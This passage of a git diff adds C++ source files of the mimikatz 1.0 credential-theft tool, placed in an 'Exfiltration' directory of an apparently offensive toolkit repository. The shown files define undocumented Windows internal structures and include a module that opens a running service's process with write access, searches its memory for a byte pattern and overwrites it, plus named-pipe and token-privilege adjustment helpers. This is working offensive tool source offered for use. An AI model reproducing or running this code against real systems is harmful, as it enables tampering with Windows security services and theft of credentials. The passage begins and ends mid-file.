getStream(MINIDUMP_STREAM_TYPE type); + + PMINIDUMP_MODULE getMinidumpModule(wstring & nomModule); + bool getStreamsVector(vector * monVecteur); + MINIDUMP_TYPE getFlags(); + bool FlagsToStrings(vector * monVecteur); + + + static wstring StreamTypeToString(MINIDUMP_STREAM_TYPE monType); + static bool FlagsToStrings(MINIDUMP_TYPE Flags, vector * monVecteur); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h b/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h new file mode 100644 index 00000000..7188f2d9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h @@ -0,0 +1,322 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include +#include + +typedef LONG KPRIORITY; +typedef void** PPVOID; + +typedef enum _SYSTEM_INFORMATION_CLASS { + SystemBasicInformation, + SystemProcessorInformation, + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemInterruptInformation, + SystemDpcBehaviorInformation, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemNextEventIdInformation, + SystemEventIdsInformation, + SystemCrashDumpInformation, + SystemExceptionInformation, + SystemCrashDumpStateInformation, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemRegistryQuotaInformation, + SystemExtendServiceTableInformation, + SystemPrioritySeperation, + SystemPlugPlayBusInformation, + SystemDockInformation, + KIWI_SystemPowerInformation, + SystemProcessorSpeedInformation, + SystemCurrentTimeZoneInformation, + SystemLookasideInformation, + KIWI_SystemMmSystemRangeStart = 50 +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectAllInformation, + ObjectDataInformation +} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS; + + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, // Note: this is kernel mode only + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + ProcessIoPriority, + ProcessExecuteFlags, + ProcessTlsInformation, + ProcessCookie, + ProcessImageInformation, + ProcessCycleTime, + ProcessPagePriority, + ProcessInstrumentationCallback, + ProcessThreadStackAllocation, + ProcessWorkingSetWatchEx, + ProcessImageFileNameWin32, + ProcessImageFileMapping, + ProcessAffinityUpdateMode, + ProcessMemoryAllocationMode, + ProcessGroupInformation, + ProcessTokenVirtualizationEnabled, + ProcessConsoleHostProcess, + ProcessWindowInformation, + MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum +} PROCESSINFOCLASS; + +typedef enum _POOL_TYPE +{ + NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS +} POOL_TYPE, *PPOOL_TYPE; + +typedef struct _PROCESS_SESSION_INFORMATION { + ULONG SessionId; +} PROCESS_SESSION_INFORMATION, *PPROCESS_SESSION_INFORMATION; + +typedef struct _PROCESS_ACCESS_TOKEN { + HANDLE Token; + HANDLE Thread; +} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING Name; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccess; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + USHORT MaintainTypeList; + POOL_TYPE PoolType; + ULONG PagedPoolUsage; + ULONG NonPagedPoolUsage; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + DWORD EntryPointActivationContext; //_ACTIVATION_CONTEXT * EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + + +typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOLEAN Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModulevector; + LIST_ENTRY InMemoryOrderModulevector; + LIST_ENTRY InInitializationOrderModulevector; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBaseAddress; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; //PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; //PPEBLOCKROUTINE FastPebLockRoutine; + PVOID FastPebUnlockRoutine; //PPEBLOCKROUTINE FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PPVOID KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + DWORD Freevector; //PPEB_FREE_BLOCK Freevector; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PPVOID ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PPVOID *ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributevector; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, *PPEB; + +typedef struct _PROCESS_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { + SIZE_T Size; // Must be set to structure size on input + PROCESS_BASIC_INFORMATION BasicInfo; + union { + ULONG Flags; + struct { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG SpareBits : 28; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _SYSTEM_HANDLE +{ + DWORD ProcessId; + BYTE ObjectTypeNumber; + BYTE Flags; + USHORT Handle; + PVOID Object; + ACCESS_MASK GrantedAccess; +} SYSTEM_HANDLE, *PSYSTEM_HANDLE; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + DWORD HandleCount; + SYSTEM_HANDLE Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef NTSTATUS (WINAPI * PNT_QUERY_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __out PVOID ProcessInformation, __in ULONG ProcessInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_SET_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in PVOID ProcessInformation, __in ULONG ProcessInformationLength); +typedef NTSTATUS (WINAPI * PNT_SUSPEND_PROCESS) (__in HANDLE ProcessHandle); +typedef NTSTATUS (WINAPI * PNT_RESUME_PROCESS) (__in HANDLE ProcessHandle); +typedef NTSTATUS (WINAPI * PNT_QUERY_SYSTEM_INFORMATION) (__in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_QUERY_OBJECT) (__in_opt HANDLE Handle, __in OBJECT_INFORMATION_CLASS ObjectInformationClass, __out_opt PVOID ObjectInformation, __in ULONG ObjectInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_FILTER_TOKEN) (__in HANDLE ExistingTokenHandle, __in ULONG Flags, __in PTOKEN_GROUPS SidsToDisable, __in PTOKEN_PRIVILEGES PrivilegeToDelete, __in PTOKEN_GROUPS SidsToRestricted, __out PHANDLE NewTokenHandle); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp b/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp new file mode 100644 index 00000000..3388c3e7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp @@ -0,0 +1,38 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_parseur.h" + +vector mod_parseur::parse(const wstring & line) +{ + vector result; + + wstring item; + wstringstream ss(line); + + while(ss >> item) + { + if (item[0] == L'"') + { + if (item[item.length() - 1] == L'"') + { + result.push_back(item.substr(1, item.length() -2)); + } + else + { + wstring restOfItem; + getline(ss, restOfItem, L'"'); + result.push_back(item.substr(1) + restOfItem); + } + } + else + { + result.push_back(item); + } + } + + return result; +} + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.h b/Exfiltration/mimikatz-1.0/modules/mod_parseur.h new file mode 100644 index 00000000..e897abaf --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_parseur.h @@ -0,0 +1,15 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include + +class mod_parseur +{ +public: + static vector parse(const wstring & line); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp b/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp new file mode 100644 index 00000000..95b46c6f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp @@ -0,0 +1,146 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_patch.h" +#include "..\mimikatz\global.h" + +bool mod_patch::patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace) +{ + bool reussite = false; + + mod_service::KIWI_SERVICE_STATUS_PROCESS monService; + if(mod_service::getUniqueForName(&monService, &serviceName)) + { + if(monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOPPED && monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOP_PENDING) + { + (*outputStream) << L"Service : " << monService.serviceDisplayName << endl; + reussite = patchModuleOfPID(monService.ServiceStatusProcess.dwProcessId, moduleName, patternToSearch, szPatternToSearch, patternToPlace, szPatternToPlace, offsetForPlace); + } + else (*outputStream) << L"Le service : " << serviceName << L" (" << monService.serviceDisplayName << L") ; n\'a pas l\'air trs actif" << endl; + } + else (*outputStream) << L"Impossible de trouver le service : " << serviceName << L" ; " << mod_system::getWinError() << endl; + + return reussite; +} + +bool mod_patch::patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace) +{ + bool reussite = false; + + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, (moduleName.empty() ? NULL : &moduleName), &pid)) + { + BYTE * baseAddr = monModule.modBaseAddr; + DWORD taille = monModule.modBaseSize; + + if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid)) + { + (*outputStream) << L"Recherche des patterns dans : " << moduleName << L"@pid(" << pid << L")" << endl; + + BYTE * addrPattern = NULL; + if(mod_memory::searchMemory(baseAddr, baseAddr + taille, patternToSearch, &addrPattern, szPatternToSearch, true, processHandle)) + { + reussite = mod_memory::writeMemory(addrPattern + offsetForPlace, patternToPlace, szPatternToPlace, processHandle); + (*outputStream) << L"Patch " << moduleName << L"@pid(" << pid << L") : " << (reussite ? L"OK" : L"KO") << endl; + } + else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; + + CloseHandle(processHandle); + } + else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl; + return reussite; +} + +bool mod_patch::getFullVersion(DWORD * majorVersion, DWORD * minorVersion, DWORD * build, bool * isServer, bool * is64) +{ + bool reussite = false; + + OSVERSIONINFOEX maVersion; + if(reussite = mod_system::getVersion(&maVersion)) + { + if(majorVersion) *majorVersion = maVersion.dwMajorVersion; + if(majorVersion) *minorVersion = maVersion.dwMinorVersion; + if(build) *build = maVersion.dwBuildNumber; + if(isServer) *isServer = maVersion.wProductType != VER_NT_WORKSTATION; + + if(is64) + { + SYSTEM_INFO mesInfos; + GetNativeSystemInfo(&mesInfos); + + *is64 = (mesInfos.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64); + } + } + + return reussite; +} + +bool mod_patch::checkVersion(KIWI_OS_CHECK * monOsValide) +{ + bool reussite = false; + + DWORD majorVersion, minorVersion, build; + bool isServer, is64; + + if(getFullVersion(&majorVersion, &minorVersion, &build, &isServer, &is64)) + { + reussite = + (monOsValide->majorVersion == majorVersion) && + (monOsValide->minorVersion == minorVersion) && + ((monOsValide->build == build) || (monOsValide->build == 0)) && + (monOsValide->isServer == isServer) && + (monOsValide->is64 == is64) + ; + } + else (*outputStream) << L"mod_patch::getFullVersion : " << mod_system::getWinError() << endl; + return reussite; +} + +bool mod_patch::checkVersion(OS monOsValide) +{ + KIWI_OS_CHECK kOs; + switch(monOsValide) + { + case WINDOWS_2000_PRO_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_2000_SRV_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + + case WINDOWS_XP_PRO___x86: kOs.majorVersion = 5; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_XP_PRO___x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2003_____x86: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + case WINDOWS_2003_____x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + + case WINDOWS_VISTA____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_VISTA____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2008_____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + case WINDOWS_2008_____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + + case WINDOWS_SEVEN____x86: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_SEVEN____x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2008r2___x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + } + + return checkVersion(&kOs); +} + + +bool mod_patch::checkVersion(vector * vectorValid) +{ + bool reussite = false; + + for(vector::iterator monOs = vectorValid->begin(); monOs != vectorValid->end() && !reussite; monOs++) + { + reussite = checkVersion(*monOs); + } + + if(!reussite) + (*outputStream) << L"La version du systme d\'exploitation actuelle n\'est pas supporte par cette fonction." << endl; + + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.h b/Exfiltration/mimikatz-1.0/modules/mod_patch.h new file mode 100644 index 00000000..1ae901d2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_patch.h @@ -0,0 +1,57 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_service.h" +#include + +class mod_patch +{ +public: + typedef struct _KIWI_OS_CHECK + { + DWORD majorVersion; + DWORD minorVersion; + DWORD build; + bool isServer; + bool is64; + } KIWI_OS_CHECK, *PKIWI_OS_CHECK; + + enum OS + { + WINDOWS_2000_PRO_x86, + WINDOWS_2000_SRV_x86, + + WINDOWS_XP_PRO___x86, + WINDOWS_XP_PRO___x64, + WINDOWS_2003_____x86, + WINDOWS_2003_____x64, + + WINDOWS_VISTA____x86, + WINDOWS_VISTA____x64, + WINDOWS_2008_____x86, + WINDOWS_2008_____x64, + + WINDOWS_SEVEN____x86, + WINDOWS_SEVEN____x64, + WINDOWS_2008r2___x64, + + WINDOWS_8________x86, + WINDOWS_8________x64, + WINDOWS_8_SERVER_x64 + }; + + static bool getFullVersion(DWORD * majorVersion = NULL, DWORD * minorVersion = NULL, DWORD * build = NULL, bool * isServer = NULL, bool * is64 = NULL); + static bool checkVersion(KIWI_OS_CHECK * monOsValide); + static bool checkVersion(OS monOsValide); + static bool checkVersion(vector * vectorValid); + + static bool patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0); + static bool patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp b/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp new file mode 100644 index 00000000..bd62e9ec --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp @@ -0,0 +1,121 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_pipe.h" + +mod_pipe::mod_pipe(wstring pipeName, wstring serveur) : hPipe(INVALID_HANDLE_VALUE), pipePath(L"\\\\") +{ + pipePath.append(serveur); + pipePath.append(L"\\pipe\\"); + pipePath.append(pipeName); +} + +mod_pipe::~mod_pipe(void) +{ + closePipe(); +} + +bool mod_pipe::closePipe() +{ + bool reussite = false; + + if(hPipe != INVALID_HANDLE_VALUE && hPipe) + { + FlushFileBuffers(hPipe); + DisconnectNamedPipe(hPipe); + reussite = CloseHandle(hPipe) == TRUE; + } + return reussite; +} + +bool mod_pipe::readFromPipe(wstring &laReponse) +{ + bool reussite = false; + wchar_t monBuffer[128]; + + bool fSuccess; + DWORD longueurReponse; + laReponse.clear(); + + do + { + fSuccess = ReadFile(hPipe, monBuffer, sizeof(monBuffer), &longueurReponse, NULL) ? true : false; + if (reussite = (fSuccess || GetLastError() == ERROR_MORE_DATA)/* && longueurReponse != 0 */) + { + laReponse.append(monBuffer, longueurReponse / sizeof(wchar_t)); + } + else + { + break; + } + } while (!fSuccess); + + return reussite; +} + +bool mod_pipe::writeToPipe(const wstring &leMessage) +{ + bool reussite = false; + DWORD longueurMessage; + DWORD longueurOctetsEcris; + + longueurMessage = (static_cast(leMessage.size())) * sizeof(wchar_t); + + if (WriteFile(hPipe, leMessage.c_str(), longueurMessage, &longueurOctetsEcris, NULL) && longueurMessage == longueurOctetsEcris) + { + reussite = FlushFileBuffers(hPipe) != 0; + } + return reussite; +} + + +bool mod_pipe::createServer() +{ + bool reussite = false; + + if(!hPipe || hPipe == INVALID_HANDLE_VALUE) + { + hPipe = CreateNamedPipe(pipePath.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 30000, NULL); + + if (hPipe && hPipe != INVALID_HANDLE_VALUE) + { + reussite = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED); + } + else + { + closePipe(); + } + } + return reussite; +} + +bool mod_pipe::createClient() +{ + bool reussite = false; + + if(!hPipe || hPipe == INVALID_HANDLE_VALUE) + { + if (WaitNamedPipe(pipePath.c_str(), NMPWAIT_USE_DEFAULT_WAIT)) + { + hPipe = CreateFile(pipePath.c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + + if (hPipe != INVALID_HANDLE_VALUE) + { + DWORD dwMode = PIPE_READMODE_MESSAGE | PIPE_WAIT; + + if (!(reussite = SetNamedPipeHandleState(hPipe, &dwMode, NULL, NULL) != 0)) + { + closePipe(); + } + } + } + } + return reussite; +} + +bool mod_pipe::isConnected() +{ + return (hPipe && hPipe != INVALID_HANDLE_VALUE); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.h b/Exfiltration/mimikatz-1.0/modules/mod_pipe.h new file mode 100644 index 00000000..69ab9e90 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_pipe.h @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_pipe +{ +private: + HANDLE hPipe; + wstring pipePath; + +public: + mod_pipe(wstring pipeName = L"mimikatz\\kiwi", wstring serveur = L"."); + virtual ~mod_pipe(void); + + bool closePipe(); + + bool readFromPipe(wstring &laReponse); + bool writeToPipe(const wstring &leMessage); + + bool createServer(); + bool createClient(); + + bool isConnected(); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp b/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp new file mode 100644 index 00000000..34324b6f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp @@ -0,0 +1,95 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_privilege.h" + +bool mod_privilege::getName(PLUID idPrivilege, wstring * privilegeName) +{ + bool reussite = false; + DWORD tailleRequise = 0; + + if(!LookupPrivilegeName(NULL, idPrivilege, NULL, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (LookupPrivilegeName(NULL, idPrivilege, monBuffer, &tailleRequise) != 0)) + { + privilegeName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_privilege::getValue(wstring * privilegeName, PLUID idPrivilege) +{ + return (LookupPrivilegeValue(NULL, privilegeName->c_str(), idPrivilege) != 0); +} + +bool mod_privilege::get(vector> *maPrivilegesvector, HANDLE handleProcess) +{ + bool reussite = false; + + HANDLE hToken = INVALID_HANDLE_VALUE; + if(OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), TOKEN_QUERY /*| STANDARD_RIGHTS_READ*/, &hToken)) + { + DWORD tailleRequise = 0; + BYTE * monBuffer; + + if(!GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + monBuffer = new BYTE[tailleRequise]; + if(reussite = (GetTokenInformation(hToken, TokenPrivileges, monBuffer, tailleRequise, &tailleRequise) != 0)) + { + TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast(monBuffer); + for(DWORD i = 0; i < mesPrivileges->PrivilegeCount; i++) + { + wstring * monPrivilege = new wstring(); + if(getName(&(mesPrivileges->Privileges[i].Luid), monPrivilege)) + { + maPrivilegesvector->push_back(make_pair(*monPrivilege, mesPrivileges->Privileges[i].Attributes)); + } + delete monPrivilege; + } + } + delete[] monBuffer; + } + } + return reussite; +} + +bool mod_privilege::set(vector> *maPrivilegesvector, HANDLE handleProcess) +{ + bool reussite = false; + + BYTE * monBuffer = new BYTE[FIELD_OFFSET(TOKEN_PRIVILEGES, Privileges[maPrivilegesvector->size()])]; + TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast(monBuffer); + mesPrivileges->PrivilegeCount = static_cast(maPrivilegesvector->size()); + + unsigned int i; + vector>::iterator monPrivilege; + for(monPrivilege = maPrivilegesvector->begin(), i = 0; (monPrivilege != maPrivilegesvector->end()) && ( i < mesPrivileges->PrivilegeCount) ; monPrivilege++, i++) + { + if(reussite = getValue(&(monPrivilege->first), &(mesPrivileges->Privileges[i].Luid))) + { + mesPrivileges->Privileges[i].Attributes = monPrivilege->second; + } + else + { + break; + } + } + + if(reussite) + { + HANDLE hToken = INVALID_HANDLE_VALUE; + if(reussite = (OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), /*TOKEN_QUERY |*/ TOKEN_ADJUST_PRIVILEGES, &hToken) != 0)) + { + reussite = (AdjustTokenPrivileges(hToken, false, reinterpret_cast(mesPrivileges), 0, NULL, NULL) != 0) && (GetLastError() == ERROR_SUCCESS); + } + } + + delete monBuffer; + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.h b/Exfiltration/mimikatz-1.0/modules/mod_privilege.h new file mode 100644 index 00000000..2d2652fc --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_privilege.h @@ -0,0 +1,18 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_privilege +{ +private: + static bool getName(PLUID idPrivilege, wstring * privilegeName); + static bool getValue(wstring * privilegeName, PLUID idPrivilege); + +public: + static bool get(vector> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool set(vector> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE); +}; diff 